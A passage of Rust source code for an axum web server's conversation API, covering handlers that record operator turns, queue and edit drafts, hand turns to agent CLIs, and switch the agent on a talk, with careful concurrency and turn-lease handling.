9045        let id = resolve_talk(&ui.talks, &id)?;
9046        let talk = ui.talks.get(&id)?;
9047        let thinking = ui.is_thinking_observed(&id);
9048        // The browser already resolves Markdown text/code references after
9049        // rendering. A cold reference/review index must not gate the transcript.
9050        Ok(Json(TalkView::with_references(
9051            talk,
9052            thinking,
9053            None,
9054            &ui.home,
9055            &id_links::IdIndex::default(),
9056        )))
9057    })
9058    .await
9059}
9060
9061async fn talk_sections(
9062    State(ui): State<Arc<Ui>>,
9063    Path(id): Path<String>,
9064) -> ApiResult<Json<serde_json::Value>> {
9065    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9066        let id = resolve_talk(&ui.talks, &id)?;
9067        let talk = ui.talks.get(&id)?;
9068        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9069        let task_progress = talk_task_progress(&tasks);
9070        let tasks: Vec<_> = tasks
9071            .into_iter()
9072            .map(|task| {
9073                serde_json::json!({
9074                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9075                })
9076            })
9077            .collect();
9078        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9079        let roster: Vec<_> = cfg
9080            .as_ref()
9081            .map(|cfg| {
9082                cfg.agents
9083                    .iter()
9084                    .map(|a| RosterEntry {
9085                        id: a.id.clone(),
9086                        kind: a.kind,
9087                        runnable: agent::installed(a),
9088                    })
9089                    .collect()
9090            })
9091            .unwrap_or_default();
9092        let specs = cfg
9093            .as_ref()
9094            .map(|cfg| cfg.talk.personas.clone())
9095            .unwrap_or_default();
9096        let personas: Vec<_> = persona::catalog(&specs)
9097            .into_iter()
9098            .map(|p| PersonaEntry {
9099                avatar: avatar_url(&ui.home, &talk.id, &p),
9100                id: p.id,
9101                name: p.name,
9102            })
9103            .collect();
9104        let active_persona = persona::find(&specs, &talk.persona)
9105            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9106        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9107        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9108        Ok(Json(serde_json::json!({
9109            "tasks": tasks, "task_progress": task_progress,
9110            "roster": roster, "personas": personas,
9111            "context": talk::context_usage(&talk, cfg.as_ref()),
9112            "context_for": talk.updated_at,
9113            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9114            "persona_name": persona_name,
9115            "persona_avatar": persona_avatar,
9116        })))
9117    })
9118    .await
9119}
9120
9121/// `GET /api/talks/{id}`.
9122async fn talk_detail(
9123    State(ui): State<Arc<Ui>>,
9124    Path(id): Path<String>,
9125) -> ApiResult<Json<TalkDetailView>> {
9126    blocking(move || {
9127        let id = resolve_talk(&ui.talks, &id)?;
9128        let talk = ui.talks.get(&id)?;
9129        let thinking = ui.is_thinking_observed(&talk.id);
9130        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9131        let task_progress = talk_task_progress(&tasks);
9132        let tasks = tasks.into_iter().map(TaskView::from).collect();
9133        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9134        let roster = cfg
9135            .as_ref()
9136            .map(|cfg| {
9137                cfg.agents
9138                    .iter()
9139                    .map(|a| RosterEntry {
9140                        id: a.id.clone(),
9141                        kind: a.kind,
9142                        runnable: agent::installed(a),
9143                    })
9144                    .collect()
9145            })
9146            .unwrap_or_default();
9147        let specs = cfg
9148            .as_ref()
9149            .map(|cfg| cfg.talk.personas.clone())
9150            .unwrap_or_default();
9151        let personas = persona::catalog(&specs)
9152            .into_iter()
9153            .map(|p| PersonaEntry {
9154                avatar: avatar_url(&ui.home, &talk.id, &p),
9155                id: p.id,
9156                name: p.name,
9157            })
9158            .collect();
9159        Ok(Json(TalkDetailView {
9160            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9161            tasks,
9162            task_progress,
9163            roster,
9164            personas,
9165        }))
9166    })
9167    .await
9168}
9169
9170/// The body of `POST /api/talks/{id}/say`.
9171///
9172/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9173/// returned - never bytes of its own - so a turn with no images just omits
9174/// the field, which is what an older front end still does.
9175#[derive(Debug, Default, Deserialize)]
9176#[serde(default, deny_unknown_fields)]
9177struct NewTalkTurn {
9178    reply_to: Option<talk::ReplyTarget>,
9179    text: String,
9180    attachments: Vec<String>,
9181}
9182
9183#[derive(Debug, Deserialize)]
9184#[serde(deny_unknown_fields)]
9185struct EditTalkPending {
9186    #[serde(default)]
9187    message: Option<usize>,
9188    text: String,
9189    expected_text: String,
9190    expected_attachments: Vec<String>,
9191}
9192
9193#[derive(Debug, Deserialize)]
9194#[serde(deny_unknown_fields)]
9195struct ClearTalkPending {
9196    expected_text: String,
9197    expected_attachments: Vec<String>,
9198}
9199
9200/// `POST /api/talks/{id}/say` - one turn of the conversation.
9201///
9202/// Not filesystem work, and therefore not routed through [`blocking`]: this
9203/// route spawns an agent CLI and a turn here can run for the whole of
9204/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9205/// research turn is expected to run commands rather than answer from what it
9206/// already knows. Holding an HTTP connection open that long is not a thing
9207/// to ask a phone to do; the operator's message is recorded and answered for
9208/// immediately, and the reply lands in the background, discovered through
9209/// the change stream's `talks_rev` the same way every other update on this
9210/// surface is.
9211async fn talk_say(
9212    State(ui): State<Arc<Ui>>,
9213    Path(id): Path<String>,
9214    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9215) -> ApiResult<(StatusCode, Json<TalkView>)> {
9216    let admission = ui.begin_admission()?;
9217    admitted(admission, async move {
9218    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9219    if body.text.trim().is_empty() && body.attachments.is_empty() {
9220        return Err(ApiError::bad_request("say something"));
9221    }
9222
9223    let id = {
9224        let ui = Arc::clone(&ui);
9225        let asked = id.clone();
9226        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9227    };
9228    // A closed Talk never accepts a new immediate or queued turn. Check this
9229    // before claiming a slot so its ordinary domain refusal is a 409, not an
9230    // incidental failure from the later record/queue write.
9231    {
9232        let ui = Arc::clone(&ui);
9233        let id = id.clone();
9234        blocking(move || {
9235            let talk = ui.talks.get(&id)?;
9236            if !talk.status.open() {
9237                return Err(ApiError::conflict(format!(
9238                    "talk {} is {} and takes no more turns",
9239                    talk.short(),
9240                    talk.status.as_str()
9241                )));
9242            }
9243            Ok(())
9244        })
9245        .await?;
9246    }
9247
9248    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9249    // actually stores, before anything is written - an unknown id is a 4xx
9250    // that names it rather than a turn (or a queued draft) silently missing
9251    // an image.
9252    let attachments = {
9253        let ui = Arc::clone(&ui);
9254        let id = id.clone();
9255        let ids = body.attachments.clone();
9256        blocking(move || {
9257            ids.into_iter()
9258                .map(|att_id| {
9259                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9260                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9261                    })
9262                })
9263                .collect::<ApiResult<Vec<talk::Attachment>>>()
9264        })
9265        .await?
9266    };
9267    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9268        .await.map_err(ApiError::from)?;
9269
9270    // Pending recovery and a new immediate turn are decided under the same
9271    // claim lock. Without that one critical section, a second `/say` can see
9272    // the first request's claim as "busy" and append itself to the recovered
9273    // draft before the first request rejects it.
9274    let start = {
9275        let ui = Arc::clone(&ui);
9276        let id = id.clone();
9277        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9278    };
9279    let turn_guard = match start {
9280        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9281        TalkTurnStart::Pending => {
9282            return Err(ApiError::conflict(
9283                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9284            ));
9285        }
9286        TalkTurnStart::Foreign => {
9287            return Err(ApiError::conflict(
9288                "a turn is already running in another process; try again when it has finished",
9289            ));
9290        }
9291        TalkTurnStart::Busy => {
9292            // A turn is already running: queue rather than refuse. See
9293            // `Ui::begin_talk_turn` and `talk::queue`.
9294            //
9295            // The queue write and the drain it may owe live inside the task
9296            // `tokio::spawn` hands to the runtime, for the same reason the
9297            // immediate path below puts `record` there: a dropped handler
9298            // future must not be able to land between a durable write and
9299            // the task that answers it. `blocking` runs its closure on
9300            // `spawn_blocking`, which finishes whether or not anyone is left
9301            // to receive its result - so a disconnect at the `.await` below
9302            // would otherwise leave the draft persisted and the reclaimed
9303            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9304            // ever started and the queued text stranded until some later
9305            // `say` happened to pick it up. The caller's 202 travels back
9306            // over a `oneshot`, sent the moment the write lands.
9307            let (tx, rx) = tokio::sync::oneshot::channel();
9308            tokio::spawn({
9309                let ui = Arc::clone(&ui);
9310                let id = id.clone();
9311                let said = body.text.clone();
9312                let reply_to = body.reply_to.clone();
9313                async move {
9314                    let written = blocking({
9315                        let ui = Arc::clone(&ui);
9316                        let id = id.clone();
9317                        move || {
9318                            let mut talk = ui.talks.get(&id)?;
9319                            // A test-only stop point, right before the write
9320                            // an interleaving test needs to pin - see
9321                            // `BusyQueueGate`. `None` in every real server:
9322                            // the field only exists under `#[cfg(test)]`.
9323                            #[cfg(test)]
9324                            if let Some(gate) = ui
9325                                .busy_queue_gate
9326                                .lock()
9327                                .unwrap_or_else(PoisonError::into_inner)
9328                                .take()
9329                            {
9330                                let _ = gate.reached.send(());
9331                                let _ = gate.release.recv();
9332                            }
9333                            if let Err(error) = talk::queue_reply(
9334                                &mut talk,
9335                                &ui.talks,
9336                                &said,
9337                                attachments,
9338                                reply_to,
9339                            ) {
9340                                if let Ok(fresh) = ui.talks.get(&id) {
9341                                    if !fresh.status.open() {
9342                                        return Err(ApiError::conflict(format!(
9343                                            "talk {} is {} and takes no more turns",
9344                                            fresh.short(),
9345                                            fresh.status.as_str()
9346                                        )));
9347                                    }
9348                                }
9349                                return Err(
9350                                    if error.to_string().contains("invalid reply target") {
9351                                        ApiError::bad_request("invalid reply target")
9352                                    } else {
9353                                        ApiError::from(error)
9354                                    },
9355                                );
9356                            }
9357                            // The turn that looked busy a moment ago can have
9358                            // finished, found nothing to drain and given up the
9359                            // slot in the gap between that check and this write
9360                            // landing - see `drain_loop`'s own doc for the other
9361                            // half of why that gap would otherwise be able to
9362                            // open at all. Reclaiming the slot here, rather than
9363                            // trusting that whoever held it is still watching, is
9364                            // what stops the text just queued from being stranded
9365                            // until an unrelated future `say` happens to drain
9366                            // it.
9367                            let claim = match ui.begin_queued_talk_turn(&id)? {
9368                                Some(turn_guard) => {
9369                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9370                                    Some((talk.clone(), cfg, turn_guard))
9371                                }
9372                                None => None,
9373                            };
9374                            let thinking = ui.is_thinking(&id);
9375                            Ok((TalkView::new(talk, thinking, &ui), claim))
9376                        }
9377                    })
9378                    .await;
9379                    #[cfg(not(test))]
9380                    {
9381                        match written {
9382                            Ok((view, reclaimed)) => {
9383                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9384                                drop(reclaimed);
9385                                match launched {
9386                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9387                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9388                                }
9389                            }
9390                            Err(error) => { let _ = tx.send(Err(error)); }
9391                        }
9392                    }
9393                    #[cfg(test)]
9394                    {
9395                    let (view, reclaimed) = match written {
9396                        Ok(pair) => pair,
9397                        Err(e) => {
9398                            // Nobody is listening if the handler's own future
9399                            // was already dropped - that is fine, nothing was
9400                            // persisted and there is no response left to carry
9401                            // this error to.
9402                            let _ = tx.send(Err(e));
9403                            return;
9404                        }
9405                    };
9406                    // If this fails, the caller is gone; the drain below still
9407                    // runs exactly as it would have for a caller that stayed.
9408                    let _ = tx.send(Ok(view));
9409                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9410                        let talks = ui.talks.clone();
9411                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9412                    }
9413                    }
9414                }
9415            });
9416            let view = rx
9417                .await
9418                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9419            return Ok((StatusCode::ACCEPTED, Json(view)));
9420        }
9421    };
9422
9423    let (talk, cfg) = {
9424        let ui = Arc::clone(&ui);
9425        let id = id.clone();
9426        blocking(move || {
9427            let talk = ui.talks.get(&id)?;
9428            let (cfg, _) = Config::discover(&talk.repo, None)?;
9429            Ok((talk, cfg))
9430        })
9431        .await?
9432    };
9433
9434    let talks = ui.talks.clone();
9435    // `record` runs *inside* the spawned task, rather than in this handler
9436    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9437    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9438    // doc), and that drop can land at any `.await` this function makes,
9439    // including one that has already produced its result but not yet
9440    // resumed. A message could end up recorded on disk with the handler
9441    // future gone before it ever reached the `tokio::spawn` that would have
9442    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9443    // that hands the whole future to the runtime as one unit - once made, no
9444    // later drop of *this* handler's own future (that call's return value is
9445    // never held onto here) can reach back in and stop it, so record and the
9446    // hand-off to `respond` are unconditionally atomic from the client's
9447    // point of view. The immediate response this handler owes the caller
9448    // travels back over a `oneshot`, sent the moment `record` succeeds.
9449    let (tx, rx) = tokio::sync::oneshot::channel();
9450    tokio::spawn({
9451        #[cfg(test)]
9452        let ui = Arc::clone(&ui);
9453        let talks = talks.clone();
9454        let id = id.clone();
9455        let said = body.text.clone();
9456        let reply_to = body.reply_to.clone();
9457        let mut talk = talk.clone();
9458        async move {
9459            let recorded = blocking({
9460                let talks = talks.clone();
9461                move || {
9462                    if let Err(error) =
9463                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9464                    {
9465                        if let Ok(fresh) = talks.get(&talk.id) {
9466                            if !fresh.status.open() {
9467                                return Err(ApiError::conflict(format!(
9468                                    "talk {} is {} and takes no more turns",
9469                                    fresh.short(),
9470                                    fresh.status.as_str()
9471                                )));
9472                            }
9473                        }
9474                        return Err(if error.to_string().contains("invalid reply target") {
9475                            ApiError::bad_request("invalid reply target")
9476                        } else {
9477                            ApiError::from(error)
9478                        });
9479                    }
9480                    // `record` mutates `talk` in place to the freshly persisted
9481                    // state (status, pending, and the just-appended operator
9482                    // turn), so returning it here is equivalent to re-reading it
9483                    // from disk - without the extra round trip a re-read would
9484                    // need.
9485                    Ok((said.trim().to_owned(), talk))
9486                }
9487            })
9488            .await;
9489            let (text, talk) = match recorded {
9490                Ok(pair) => pair,
9491                Err(e) => {
9492                    // Nobody is listening if the handler's own future was
9493                    // already dropped - that is fine, there is no response
9494                    // left to carry this error to and nothing was persisted.
9495                    let _ = tx.send(Err(e));
9496                    return;
9497                }
9498            };
9499            #[cfg(not(test))]
9500            {
9501                let _ = (&cfg, &text);
9502                // The reservation becomes durable while this process still
9503                // holds the talk lease. The child waits for that lease; the
9504                // new UI sees its startup reservation immediately.
9505                let result = crate::consult::spawn_recorded_turn(
9506                    &talks, &id, talk.turns.len() - 1,
9507                ).await;
9508                drop(turn_guard);
9509                match result {
9510                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9511                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9512                }
9513            }
9514            #[cfg(test)]
9515            {
9516            let queued = talk.clone();
9517            let mut talk = talk;
9518            let thinking = ui.is_thinking(&id);
9519            // If this fails, the caller is gone; the turn still runs below
9520            // exactly as it would have for a caller that stayed connected.
9521            let _ = tx.send(Ok((queued, thinking)));
9522
9523            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9524                // `respond` records the failure in the transcript itself,
9525                // which is what the phone reads; this line is for the
9526                // operator's terminal.
9527                tracing::warn!("talk {id} turn failed: {e:#}");
9528            }
9529            // Anything `talk::queue` added while the turn above was running
9530            // is still owed an answer - see `drain_loop`.
9531            drain_loop(talk, talks, cfg, id, turn_guard).await;
9532            }
9533        }
9534    });
9535
9536    let (queued, thinking) = rx
9537        .await
9538        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9539
9540    // 202: the operator's message is recorded and a turn is running.
9541    Ok((
9542        StatusCode::ACCEPTED,
9543        Json(TalkView::new(queued, thinking, &ui)),
9544    ))
9545    }).await
9546}
9547
9548/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9549/// changing it. The turn guard is the same per-talk ownership `talk_say`
9550/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9551async fn talk_pending_resume(
9552    State(ui): State<Arc<Ui>>,
9553    Path(id): Path<String>,
9554) -> ApiResult<(StatusCode, Json<TalkView>)> {
9555    let admission = ui.begin_admission()?;
9556    admitted(admission, async move {
9557        let id = {
9558            let ui = Arc::clone(&ui);
9559            let asked = id.clone();
9560            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9561        };
9562        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9563            .await
9564            .map_err(ApiError::from)?;
9565        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9566            return Err(ApiError::conflict(
9567                "a talk turn is already running; the queued draft will be handled by it",
9568            ));
9569        };
9570        let (talk, cfg) = {
9571            let ui = Arc::clone(&ui);
9572            let id = id.clone();
9573            blocking(move || {
9574                let talk = ui.talks.get(&id)?;
9575                if !talk.status.open() {
9576                    return Err(ApiError::conflict(format!(
9577                        "talk {} is {} and takes no more turns",
9578                        talk.short(),
9579                        talk.status.as_str()
9580                    )));
9581                }
9582                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9583                    return Err(ApiError::conflict("there is no queued draft to resume"));
9584                }
9585                let (cfg, _) = Config::discover(&talk.repo, None)?;
9586                Ok((talk, cfg))
9587            })
9588            .await?
9589        };
9590        let view = TalkView::new(talk.clone(), true, &ui);
9591        let talks = ui.talks.clone();
9592        #[cfg(not(test))]
9593        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9594        #[cfg(test)]
9595        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9596        Ok((StatusCode::ACCEPTED, Json(view)))
9597    })
9598    .await
9599}
9600
9601/// Hand off an admitted draft while retaining the talk lease until its
9602/// detached startup reservation is durable.
9603#[cfg(not(test))]
9604async fn detach_talk_turn(
9605    _talk: Talk,
9606    talks: Talks,
9607    _cfg: Config,
9608    id: String,
9609    turn: TalkTurnGuard,
9610) -> ApiResult<()> {
9611    let launched = crate::consult::spawn_turn(&talks, &id).await;
9612    drop(turn);
9613    launched.map(|_| ()).map_err(ApiError::from)
9614}
9615
9616#[cfg(test)]
9617async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9618    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9619}
9620
9621/// A settings response must not report idle while its claim is still held.
9622/// Wait until the first drain either releases the claim or promotes a draft.
9623/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9624async fn settle_settings_turn(
9625    talk: Talk,
9626    talks: Talks,
9627    cfg: Config,
9628    id: String,
9629    turn: TalkTurnGuard,
9630    observed: u64,
9631) -> bool {
9632    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9633        let turns = Arc::clone(&turn.turns);
9634        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9635        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9636            // Release under the arrival lock; a later `/say` takes its own claim.
9637            turn.release(&mut live);
9638            return false;
9639        }
9640    }
9641    let (started, settled) = tokio::sync::oneshot::channel();
9642    tokio::spawn(drain_loop_started(
9643        talk,
9644        talks,
9645        cfg,
9646        id,
9647        turn,
9648        Some(started),
9649    ));
9650    settled.await.unwrap_or(false)
9651}
9652
9653#[cfg(not(test))]
9654async fn drain_loop_started(
9655    talk: Talk,
9656    talks: Talks,
9657    _cfg: Config,
9658    id: String,
9659    turn: TalkTurnGuard,
9660    started: Option<tokio::sync::oneshot::Sender<bool>>,
9661) {
9662    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9663    let running = if pending {
9664        match crate::consult::spawn_turn(&talks, &id).await {
9665            Ok(_) => true,
9666            Err(error) => {
9667                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9668                false
9669            }
9670        }
9671    } else {
9672        false
9673    };
9674    drop(turn);
9675    if let Some(started) = started {
9676        let _ = started.send(running);
9677    }
9678}
9679
9680// Existing in-process conversation tests exercise transcript/arrival ordering;
9681// real process-lifetime behavior is covered by the CLI integration tests.
9682#[cfg(test)]
9683async fn drain_loop_started(
9684    mut talk: Talk,
9685    talks: Talks,
9686    cfg: Config,
9687    id: String,
9688    turn: TalkTurnGuard,
9689    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9690) {
9691    let live_set = Arc::clone(&turn.turns);
9692    // `Option` rather than binding `turn` directly to a `_turn` that lives
9693    // for the whole function: releasing it has to happen by calling
9694    // `TalkTurnGuard::release` from inside the locked branch below, which
9695    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9696    // remove the id - correctly, if this loop is ever left some other way -
9697    // but doing it there misses the lock this loop is already holding, which
9698    // is the exact gap `release` exists to close.
9699    let mut turn = Some(turn);
9700    loop {
9701        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9702            // The lease was taken over while a turn ran. Whatever is queued
9703            // stays a draft; running it here would race the new owner.
9704            tracing::warn!("talk {id} lost its turn lease; not draining further");
9705            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9706            if let Some(turn) = turn.take() {
9707                turn.release(&mut live);
9708            }
9709            break;
9710        }
9711        // `talk::drain` takes the store lock and can write/rename the talk
9712        // file. Keep the turn mutex out of that synchronous work: it protects
9713        // every talk's in-memory claim, not this talk's disk operation.
9714        let observed = live_set
9715            .lock()
9716            .unwrap_or_else(PoisonError::into_inner)
9717            .queued
9718            .get(&id)
9719            .copied()
9720            .unwrap_or(0);
9721        let drained = blocking({
9722            let talks = talks.clone();
9723            move || {
9724                let result = talk::drain(&mut talk, &talks);
9725                Ok((talk, result))
9726            }
9727        })
9728        .await;
9729        let (next_talk, result) = match drained {
9730            Ok(drained) => drained,
9731            Err(e) => {
9732                tracing::warn!(
9733                    status = %e.status,
9734                    message = %e.message,
9735                    "talk {id} could not start queued-text drain"
9736                );
9737                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9738                turn.take()
9739                    .expect("held for the whole loop until released here")
9740                    .release(&mut live);
9741                break;
9742            }
9743        };
9744        talk = next_talk;
9745        let drained = match result {
9746            Ok(Some(drained)) => drained,
9747            Ok(None) => {
9748                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9749                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9750                    continue;
9751                }
9752                turn.take()
9753                    .expect("held for the whole loop until released here")
9754                    .release(&mut live);
9755                break;
9756            }
9757            Err(e) => {
9758                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9759                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9760                turn.take()
9761                    .expect("held for the whole loop until released here")
9762                    .release(&mut live);
9763                break;
9764            }
9765        };
9766        if let Some(started) = started.take() {
9767            let _ = started.send(true);
9768        }
9769        let responded = match turn.as_ref() {
9770            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9771            None => Err(anyhow::anyhow!("the turn guard was released")),
9772        };
9773        if let Err(e) = responded {
9774            tracing::warn!("talk {id} turn failed: {e:#}");
9775        }
9776    }
9777    drop(turn);
9778    if let Some(started) = started {
9779        let _ = started.send(false);
9780    }
9781}
9782
9783/// Clear a queued draft only if it remains exactly the one the caller saw.
9784async fn talk_pending_clear(
9785    State(ui): State<Arc<Ui>>,
9786    Path(id): Path<String>,
9787    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9788) -> ApiResult<Json<TalkView>> {
9789    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9790    blocking(move || {
9791        let id = resolve_talk(&ui.talks, &id)?;
9792        let mut talk = ui.talks.get(&id)?;
9793        if !talk.status.open() {
9794            return Err(ApiError::conflict(format!(
9795                "talk {} is {} and takes no more turns",
9796                talk.short(),
9797                talk.status.as_str()
9798            )));
9799        }
9800        if !talk::clear_pending_if_matches(
9801            &mut talk,
9802            &ui.talks,
9803            &body.expected_text,
9804            &body.expected_attachments,
9805        )? {
9806            return Err(ApiError::conflict(
9807                "queued message changed; reload it before clearing",
9808            ));
9809        }
9810        let thinking = ui.is_thinking(&talk.id);
9811        Ok(Json(TalkView::new(talk, thinking, &ui)))
9812    })
9813    .await
9814}
9815
9816/// Atomically edit a queued draft's text while preserving its attachments.
9817/// The snapshot fields make a concurrent queue or drain a conflict rather
9818/// than silently discarding either message.
9819async fn talk_pending_edit(
9820    State(ui): State<Arc<Ui>>,
9821    Path(id): Path<String>,
9822    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9823) -> ApiResult<Json<TalkView>> {
9824    let admission = ui.begin_admission()?;
9825    admitted(admission, async move {
9826        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9827        let id = {
9828            let ui = Arc::clone(&ui);
9829            blocking(move || resolve_talk(&ui.talks, &id)).await?
9830        };
9831        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9832            .await
9833            .map_err(ApiError::from)?;
9834        let (view, reclaimed) = blocking({
9835            let ui = Arc::clone(&ui);
9836            move || {
9837                let mut talk = ui.talks.get(&id)?;
9838                if !talk.status.open() {
9839                    return Err(ApiError::conflict(format!(
9840                        "talk {} is {} and takes no more turns",
9841                        talk.short(),
9842                        talk.status.as_str()
9843                    )));
9844                }
9845                if !talk::edit_pending_message(
9846                    &mut talk,
9847                    &ui.talks,
9848                    &body.text,
9849                    &body.expected_text,
9850                    &body.expected_attachments,
9851                    body.message,
9852                )? {
9853                    return Err(ApiError::conflict(
9854                        "queued message changed; reload it before editing",
9855                    ));
9856                }
9857                let claim = match ui.begin_queued_talk_turn(&id)? {
9858                    Some(turn_guard) => {
9859                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9860                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9861                    }
9862                    None => None,
9863                };
9864                let thinking = ui.is_thinking(&id);
9865                Ok((TalkView::new(talk, thinking, &ui), claim))
9866            }
9867        })
9868        .await?;
9869        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9870            let talks = ui.talks.clone();
9871            #[cfg(not(test))]
9872            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9873            #[cfg(test)]
9874            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9875        }
9876        Ok(Json(view))
9877    })
9878    .await
9879}
9880
9881/// The 409 for a talk that takes no more turns.
9882fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9883    if talk.status.open() {
9884        return Ok(());
9885    }
9886    Err(ApiError::conflict(format!(
9887        "talk {} is {} and takes no more turns",
9888        talk.short(),
9889        talk.status.as_str()
9890    )))
9891}
9892
9893/// The body of `POST /api/talks/{id}/agent`.
9894#[derive(Debug, Deserialize)]
9895struct TalkAgent {
9896    agent: String,
9897}
9898
9899/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9900/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9901/// start a turn on the old session between the check and the write; one that
9902/// arrives in that window finds the talk busy and becomes a draft.
9903async fn talk_agent(
9904    State(ui): State<Arc<Ui>>,
9905    Path(id): Path<String>,
9906    Json(body): Json<TalkAgent>,
9907) -> ApiResult<Json<TalkView>> {
9908    let admission = ui.begin_admission()?;
9909    admitted(admission, async move {
9910        let id = {
9911            let ui = Arc::clone(&ui);
9912            blocking(move || resolve_talk(&ui.talks, &id)).await?
9913        };
9914        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9915            .await
9916            .map_err(ApiError::from)?;
9917        let repo = {
9918            let ui = Arc::clone(&ui);
9919            let id = id.clone();
9920            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9921        };
9922        let cfg = config_for(&repo).await?;
9923        // Refuse before taking the claim; see `talk_implementers`.
9924        {
9925            let ui = Arc::clone(&ui);
9926            let id = id.clone();
9927            let cfg = cfg.clone();
9928            let wanted = body.agent.clone();
9929            blocking(move || {
9930                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9931                    .map_err(ApiError::bad_request_from)?;
9932                refuse_if_closed(&ui.talks.get(&id)?)
9933            })
9934            .await?;
9935        }
9936        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9937            return Err(ApiError::conflict(
9938                "a talk turn is running; change the agent once it has answered",
9939            ));
9940        };
9941        let switched = {
9942            let ui = Arc::clone(&ui);
9943            let id = id.clone();
9944            let cfg = cfg.clone();
9945            blocking(move || {
9946                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9947                    .map_err(ApiError::bad_request_from)?;
9948                let mut talk = ui.talks.get(&id)?;
9949                if !talk.status.open() {
9950                    return Err(ApiError::conflict(format!(
9951                        "talk {} is {} and takes no more turns",
9952                        talk.short(),
9953                        talk.status.as_str()
9954                    )));
9955                }
9956                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9957                Ok(talk)
9958            })
9959            .await
9960        };
9961        // A `/say` that landed while this held the claim saw the talk busy and
9962        // left a durable draft, trusting the claim's owner to drain it. So the
9963        // claim is settled whatever the outcome. Release an empty draft's claim
9964        // before replying; queued drafts continue independently of the handler.
9965        let observed = ui.queued_generation(&id);
9966        let fresh = {
9967            let ui = Arc::clone(&ui);
9968            let id = id.clone();
9969            blocking(move || Ok(ui.talks.get(&id)?)).await
9970        };
9971        let draining = match fresh {
9972            Ok(talk) => {
9973                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9974            }
9975            Err(_) => false,
9976        };
9977        let talk = switched?;
9978        Ok(Json(TalkView::new(talk, draining, &ui)))
